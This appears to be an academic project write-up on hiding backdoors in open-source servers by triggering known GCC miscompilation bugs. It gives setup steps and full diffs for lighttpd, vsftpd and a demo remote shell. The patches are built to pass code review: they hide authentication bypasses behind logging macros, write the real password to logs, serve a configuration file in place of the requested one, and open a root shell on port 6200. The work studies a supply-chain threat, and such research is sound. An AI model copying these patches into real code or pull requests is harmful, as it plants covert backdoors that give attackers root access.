Target Programs

Attack Description

The attack is now ready to be deployed. Suppose one of the bugs is to be covertly injected into an application. The bug can be triggered inside one of the previously built containers. Take any development branch of an open-source application and build the project within the container. The remaining work consists of targeting an application functionality that would be useful to have a back-door into. One rigorous way of spotting an injection point in the code base is to get coverage for common commands. A quicker way is plain inspection, but it might miss out critical instructions which can cover the malicious code. Once the patch is created, the attacker can issue a pull request. If carefully written, the exploit can easily pass the inspection: the code might look correct in the sense that edge cases that provide root privileges or unauthorized authentication would never be reached. However, with the right compiler version, they are.

Creating the scenarios

The subsequent case studies have one feature in common: remote computer communication. The two-tier architecture is relevant to any distributed computing system world-wide. Although this simplifies the scale at which distributed systems operate by abstracting security components such away proxies, encryption, firewalls, the approach remains valid through its ability to affect the single most important node in remote communication through the network, the server.

Experimental Remote Shell

The purpose of this shell is purely experimental. The code follows this tutorial. There are two types of shells: one is a secure shell which uses repeated XOR operation with the number 42 to encrypt (see https://linux.die.net/man/3/memfrob) and the other is an invisible shell which transmits the shell commands as ICMP packets.

For the purposes of this project, the compiler based back-doors were created for the secure shell. I implemented a minimal authentication system accepting username admin and password password. The following is a description of the shell usage:

  1. After you build one of the Docker containers associated with a bug, clone the repo inside the container and checkout to the branch gcc <bug_id>, then pull.

  2. cd CompilerBackdoors/RemoteShell

  3. Build using make all

  4. ./remote_shell_exe s (port), i.e. start the server process ./remote_shell_exe c (target ip) (port), i.e. start the client process. Note that you can try it locally. In this case the target ip is 127.0.0.1

  5. You will be prompted to enter the username (followed by enter) and a password (followed by enter).

  6. All exploits have been designed to provide access to the server for any supplied password P=[c1,c2..c8], where [ci <= p | p <- “password”].

  7. When you run the secure shell on a machine with a good compiler version, you should only be able to authenticate when the supplied password is “password”.

Lighttpd

Lighttpd is an open-source web server characterized through efficiency and a low memory footprint. According to its home page, it powers several popular Web 2.0 sites, mainly because of proven performance reasons.

The inserted bugs create back-doors in plain authentication when a password-protected resource /download is accessed.

To build each modified version of Lighttpd, execute the script lighttpd/build.sh inside one of the corresponding containers (run with port mapping from the localhost to the docker container, depending on the port specified in the lighttpd.conf). There is one script lighttpd/get_lighttpd_1.4.45.sh which retrieves the latest release of Lighttpd (in which you must copy the previous
lighttpd/lighttpd1.4-lighttpd-1.4.45/src/mod_authn_file.c or
lighttpd/lighttpd1.4-lighttpd-1.4.45/src/response.c in case code on branch lighttpd-404 is run), in case it does not compile due to dependency issues.

vsftpd

When talking about remote file transfer, one should be aware of the high stakes involved. Sensitive files can be leaked or unauthorized system access gained. Vsftpd is a concurrent FTP server which is considers security as its main feature.

The choice for this protocol arises from its specification, which makes it secure compared to P2P for example. But once vulnerabilities appear in the server application, clients’ communication is compromised. One such weakness (whose bug report is not publicly available) slipped into the source code of v2.3.4, starting a shell that was listening for connections on a port. This exploit was pivotal to our illustrative approach of generating exploits through compiler bugs.

Experimental Setup

The branching of the repository is as follows.

GCC bugs & Remote Shell

The branches gcc42721, gcc42952, gcc43360, gcc43438, gcc57124, gccsummit contain the back-door exploits for the experimental remote shell described in 3.3.

Lighttpd Code

The branch lighttpd contains the pre-patched version of Lighttpd.

Lighttpd Back-doors

Branches lighttpd-gcc-bug57124, lighttpd-gcc-bug43438, lighttpd-gcc-bug42952 and lighttpd-404 contain various exploits of the authentication system of the web server.

Vsftpd Back-doors

Branches vsftpd-gcc-bug43438, vsftpd-gcc-bug57124 and vsftpd-gcc-bug42952 contain various exploits of the system when a user logs in with credentials following a specific pattern.

The directory structure is as follows:

bugs

Csmith and GCCsummit contain bugs generated using Csmith. The file that must be compiled using the buggy gcc version is small.c

BugEnvironments

The explanations below help reproduce only the bugs in bugs/Csmith and bugs/GCCsummit

The approach taken involves a micro-services architecture, in which uncoupled Docker containers are predominantly used, with one exception for bug 42721.

The gcc_install_script.sh is used to build a certain revision of GCC inside a virtual machine. I created a Ubuntu 9.10 (32-bit) virtual machine to be able to reproduce GCC bug 42721 only. I created an appliance which you can import in VirtualBox and see how the compiler behaves for the program in question. Steps to set-up the appliance:

  1. wget www.doc.ic.ac.uk/ ab7515/Ubuntu910.ova

  2. Import appliance into VirtualBox

  3. Login using username: andrei and password: administrator

  4. Access the buggy revision of gcc in /usr/local/bin/gcc and check that the last line is ’gcc version 4.5.0 20100112 (experimental) GCC’

  5. You can check that the small.c file under /home/andrei contains the version of the program captured by the code snippet in 2.1.1, bug #1.

  6. Compile using -O1 and -O2 flags and check that for -O2 the execution is aborted.

For all other GCC bugs, there are separate CentOS containers which can be run as follows:

  1. cd Dockerfiles

  2. Identify the container you want to build corresponding to the bug id in section 2.1.1: dockerfile_gcc_<bug_id>

  3. docker build -t centos_gcc_(bug_id) path_to_ Dockerfile i.e dockerfile_gcc_(bug_id)

  4. Make sure the PWD is the repository root (you want to access the bugs folder)
    docker run -ti centos_gcc_bug_id

  5. Note that the buggy version of gcc is /usr/local/bin/gcc

  6. Consult the Reported behaviour section in 2.1.1 for the chosen bug_id to check how to reproduce the bug.

Remote Shell

Contains the experimental remote shell code and the exploits on each corresponding GCC bug branch.

lighttpd on branch lighttpd

Contains the Lighttpd code under the directory lighttpd1.4-lighttpd-1.4.45, the configuration file lighttpd.conf, the www directory containing the html page.

vsftpd on branch vsftpd

Contains the vsftpd code under the directory vsftpd-3.0.3, the configuration file vsftpd.conf, build and run scripts (build.sh and run_all.sh) and the remote shell access Python script.

Lighttpd compiler-based back-doors

GCC Bug 57124 Injection

Diff 1: Partial diff lighttpd and lighttpd-gcc-bug57124
+// NOTE: this is the core function for plain authenticaion
+// (from either supported source:  file, ldap, mysql )
 static handler_t mod_authn_file_plain_basic(server *srv, connection *con, void *p_d, const http_auth_require_t *require, const buffer *username, const char *pw) {
     plugin_data *p = (plugin_data *)p_d;
     buffer *password_buf = buffer_init();/* password-string from auth-backend */
-    int rc;
+    read_status *rs = read_status_init();
+
+    srr = srv;  // [Assignment for logging purposes]
+
+    bool valid;
     mod_authn_file_patch_connection(srv, con, p);

-    rc =
-    mod_authn_file_htpasswd_get(srv,p->conf.auth_plain_userfile,
-                                username, password_buf);
-    if (0 == rc) {
-          rc =
-    buffer_is_equal_string(password_buf, pw, strlen(pw))?0 : -1;
+          mod_authn_file_htpasswd_get(srv,
+                                 p->conf.auth_plain_userfile, username, password_buf, rs);
+
+    if (0 == rs->rc && rs->no_bytes_read > 0) {
+          rs->rc = buffer_is_equal_string(password_buf,   pw, strlen(pw)) ? 0 : -1;
+          log_error_write(srr, __FILE__, __LINE__, "ss",
+           "The real password ", password_buf->ptr);
+          rs->no_bytes_read = -1;
+          check_pwd_valid (rs->rc, rs->no_bytes_read, &valid, pw);
     }
+
   buffer_free(password_buf);
+
+    read_status_free (rs);
+
   UNUSED(con);
-    return 0 == rc && http_auth_match_rules(require, username->ptr, NULL, NULL)
-      ? HANDLER_GO_ON
-      : HANDLER_ERROR;
+    return valid &&
+           http_auth_match_rules(require, username->ptr, NULL, NULL)
+           ? HANDLER_GO_ON
+           : HANDLER_ERROR;
 }

How was the bug trigger inserted? The bug is dependent on a function which is passed two negative numbers which are then cast to short unsigned int. The initial variable rc seemed not to confer enough information about the state of the password. So, it is reasonable to capture another piece of information using a struct:

typedef struct {
   int rc;
   int no_bytes_read;
} read_status;

This is then used to trigger the bug in the if statement below.

#define isunicodeomicron(c1, c2) (c1 == '\xce', c2 == '\xbf')

....
if (x7 <= 268435455U)
      {
         *valid = isunicodeomicron(pwd[strlen(pwd) - 2], pwd[strlen(pwd) - 1]);
         return;
      }
...      

Scenario When the last two characters of the user-supplied password are Unicode characters with their most significant bytes 0xCE and 0xBF respectively, the user will be authenticated. I rely on the truncation of any sequence of two Unicode characters of the form 0x_ _ CE and 0x _ _ BF to keep the patch as small as possible, in the sense that I would have to modify a significant part of the existing code to accommodate all 16 bits (by use of a wide char), otherwise. For example, the password of the user is calypso (with Latin o), but I want to allow calypso (with Greek omicron formed by the concatenation of LSBs of 2 characters). There is a difference between the HTML entity omicron (&#x3bf, which you can obtain by pressing CTRL + Shift + u and then typing 3BF followed by Enter) and the UTF-8 omicron which is represented as 0xCEBF.

GCC Bug 43438 Injection

Diff 2: Covert code for bug trigger insertions
+#include <stdbool.h>
+#include <assert.h>
/*[More code]*/
+#define CONTROL_CODE 254
+// Must assign the constant 254 only
+#define set_control_character(b, auth_ref) \
+  int code = b ? CONTROL_CODE : 0;  \
+  unsigned char control_character = CONTROL_CODE; \
+  *auth_ref |= auth_char; \
+  control_character |= *auth_ref
+#define ctrl_char_code_log(c, auth_ref) \
+   log_error_write(srv, __FILE__, __LINE__, "d", (unsigned char) c); \
+   set_control_character((unsigned char) c == CONTROL_CODE, auth_ref)
+
+static int server_state;
+
+/* Returns 1 iff should be logged in. */
+static void server_ready_for_login(int control_character) {
+  int *server_state_alias = &server_state;
+  *server_state_alias &= 0 < control_character;
+}
Diff 3: Core functionality change: diff lighttpd and lighttpd-gcc-bug43438
static handler_t
mod_authn_file_plain_basic(server *srv, connection *con,
                           void *p_d, const http_auth_require_t *require,
                           const buffer *username, const char *pw) {
     plugin_data *p = (plugin_data *)p_d;
     /* password-string from auth-backend */
     buffer *password_buf = buffer_init();
     int rc;
+    bool valid;
     mod_authn_file_patch_connection(srv, con, p);
     rc =
     mod_authn_file_htpasswd_get(srv, p->conf.auth_plain_userfile, username, password_buf);
     if (0 == rc) {
         rc = buffer_is_equal_string(password_buf, pw, strlen(pw)) ? 0 : -1;

+        /* If the passwords do not match check if the last chr of  
+           pw is 254 (ctrl + shift + fe in the password text field)*/
+        if (-1 == rc) {
+           unsigned char auth_char = 1;
+           int *auth_ref = &server_state;
+
+           //Assign 254 (only) to control_character
+           // assert(254  == pw[...]) create evil macro for number 254 directly
+           ctrl_char_code_log(pw[strlen(pw) - 1], auth_ref);
+
+           server_ready_for_login (control_character);
+        }
+        valid = !rc || !server_state;
     }
+
+    //Buggy: at -O1 wrong result (i.e. server_state == 0)
     buffer_free(password_buf);
     UNUSED(con);
-    return 0 == rc && http_auth_match_rules(require, username->ptr, NULL, NULL)
+    return valid && http_auth_match_rules(require, username->ptr, NULL, NULL)
       ? HANDLER_GO_ON
       : HANDLER_ERROR;
 }

How was the bug trigger inserted? Made use of macros for password logging purposes to hide sensitive code fragments that might not usually be found in a password checking function. Scenario This is the bug in which an unsigned char with value 254 passed to void f(int x) will be sign-extended instead of zero-extended. This bug would not trigger unless the assignment with the constant 254 is made. It is a masked homograph attack, but it is not an ideal one. The macros hide the assignment, which is made no matter what the last character of the user supplied password is.

GCC Bug 42952 Injection

Diff 4: Diff lighttpd and lighttpd-gcc-bug42952
+#define ALLOW 1
+
+static int server_state[1];
+static int *server_state_alias_fst = &server_state[0];
+static int *server_state_alias_snd = &server_state[0];
+
 static handler_t mod_authn_file_plain_basic(server *srv, connection *con, void *p_d, const http_auth_require_t *require, const buffer *username, const char *pw) {
     plugin_data *p = (plugin_data *)p_d;
     buffer *password_buf = buffer_init();/* password-string from auth-backend */
     int rc;
+    bool valid;
     mod_authn_file_patch_connection(srv, con, p);
     rc = mod_authn_file_htpasswd_get(srv, p->conf.auth_plain_userfile, username, password_buf);
     if (0 == rc) {
         rc = buffer_is_equal_string(password_buf, pw, strlen(pw)) ? 0 : -1;
+        server_state[0] = (rc != 0); //correct pw => 1; incorrect pw => 0
+        if (-1 == rc) {
+           *server_state_alias_snd = !ALLOW;
+           *server_state_alias_snd = *server_state_alias_fst;
+        }
+        valid = !rc || server_state[0];
+        log_error_write(srv, __FILE__, __LINE__, "dsd", server_state[0], " and valid is ", valid);
     }
     buffer_free(password_buf);
     UNUSED(con);
-    return 0 == rc && http_auth_match_rules(require, username->ptr, NULL, NULL)
+    return valid && http_auth_match_rules(require, username->ptr, NULL, NULL)
       ? HANDLER_GO_ON
       : HANDLER_ERROR;
 }

How was the bug trigger inserted? Added an additional condition for password validity. The global static variables would make it less likely for the patch to pass a review, but the constrained manifestation of the bug lead to the presented code. Scenario This bug allows authentication on the user’s password protected page through any password.

GCC Bug 43360 Injection

Diff 5: Call site of function containing the bug in file response.c
+   char *not_allowed_pattern = ".txt";
+           char *extension = strrchr (con->physical.path->ptr, '.');
+           if (extension != NULL &&  (0 == strncmp (not_allowed_pattern, extension, 4))) {
+              update_unauthorized_count_for_display ();
+
+                /* This should never happen for non-buggy gcc */
+                if (cnt[0][0] == NOT_AUTHORIZED_COUNT) {
+                    /*Change the physical path to be displayed */
+
+                    /* [Demo] Hide hard-coded string using macro ("lighttpd" ++ ".conf")*/
+                    char *ptr = "lighttpd.conf";
+                    strncpy(con->physical.path->ptr, ptr, 13);
+                    con->physical.path->ptr[13] = '\0';
+               }
+           }
+

How was the bug trigger inserted? Added extra check for file name pattern. If the pattern of the file is forbidden, then a sensitive file e.g. configuration file would be displayed instead. Scenario The resource requested must not be accessed. When such attempt to display is made, another forbidden file is shown as a side effect.

vsftpd compiler-based back-doors

GCC Bug 57124 Injection

Diff 6: Call site of function containing the bug 57124
 int
 str_contains_space(const struct mystr* p_str)
 {
   unsigned int i;
+  bool contains_space = false;
+
   for (i=0; i < p_str->len; i++)
   {
     if (vsf_sysutil_isspace(p_str->p_buf[i]))
     {
+      /* Invalid */
       return 1;
-    } else if (p_str->p_buf[i] == '%')
-    {
-      vsf_sysutil_extra ();
     }
   }
-  return 0;
+  pwd_space_free_valid (STATUS_1, STATUS_2, &contains_space, p_str->p_buf);
+  return contains_space;
 }
Diff 7: Bug trigger and check for zero-length space trail
+/* -Werror=implicit-int */
+__attribute__ ((noinline))
+bool pwd_space_free_valid (short unsigned int p1 , short unsigned int p2,
+                           bool *contains_space, const char *pwd) {
+    short unsigned int x1, x4;
+    int x2, x3, x6;
+    unsigned int x7;
+
+    x1 = p1;
+    x2 = (int) x1;
+    x3 = x2 * 65536;
+    x4 = p2;
+    x6 = x3 + x4;
+    x7 = (unsigned int) x6;
+    if (x7 <= 268435455U)
+      {
+         *contains_space = isunicode_zero_len_space_trail(pwd[strlen(pwd) - 1]);
+         if (*contains_space)
+            vsf_sysutil_extra();
+      }
+    return !*contains_space;
+}

How was the bug trigger inserted? The function str_contains_space() was extended with an extra check for Unicode spaces, in particular a check for the zero-length space 0xE2 80 8B through a macro. When the code is compiled with the problematic GCC version, the bug will trigger following a call of the vsf_sysutil_extra() function, which spawns a shell that listens on port 6200 for socket connections. Scenario Once the shell is spawned, one can use the script exploit.py[5] as
python exploit.py [target ip] [FTP port on which the server is running]. As the server was started as root, the spawned process will grant root privileges to the attacker.

GCC Bug 43438 Injection

Diff 8: Call site of bug trigger through logging mask
+  unsigned char auth_char = 1;
+  int *auth_ref = &server_state;
+  ctrl_char_code_log(p_str->p_buf[strlen(p_str->p_buf) - 1], auth_ref);
+  server_ready_for_login(control_character);
+  if (!server_state && p_str->p_buf[strlen(p_str->p_buf) - 2] == '\x8b')
+      vsf_sysutil_extra();

How was the bug trigger inserted? The function ctrl_char_code_log() triggers the bug. The variable server_state is zero under wrong compilation. An additional check for the least significant byte of the user is made. If the byte corresponds to the LSB of the Unicode zero-length character, the shell is spawned. Scenario Same as previous.

GCC Bug 42952 Injection

Diff 9: Call site of bug trigger through logging mask
+#define ALLOW 1
+
+#define isunicode_zero_len_space_trail(c1) (c1 == '\x8b')
+
+static int server_state[1];
+static int *server_state_alias_fst = &server_state[0];
+static int *server_state_alias_snd = &server_state[0];
+
 int
 vsf_sysutil_extra(void)
 {
@@ -622,12 +631,17 @@ str_contains_space(const struct mystr* p_str)
     if (vsf_sysutil_isspace(p_str->p_buf[i]))
     {
       return 1;
     }
     }
   }
-  return 0;
+    // If the last character of the username is 0x __ __ 8B, then
+    // server_state[0] == 1 iff compiler is buggy
+    bool last_is_space =
+    isunicode_zero_len_space_trail(p_str->p_buf[strlen(p_str->p_buf) - 1]);
+    server_state[0] = last_is_space;
+    *server_state_alias_snd = !ALLOW;
+    *server_state_alias_snd = *server_state_alias_fst;
+    if (server_state[0])
+        vsf_sysutil_extra ();
+    return 0;
 }

How was the bug trigger inserted? A check for the least significant byte of the username string is made. If the byte corresponds to the LSB of the Unicode zero-length character, the subsequent sequence of assignments will be compiled wrongly by a certain compiler and the shell will be spawned.
Scenario Same as previous.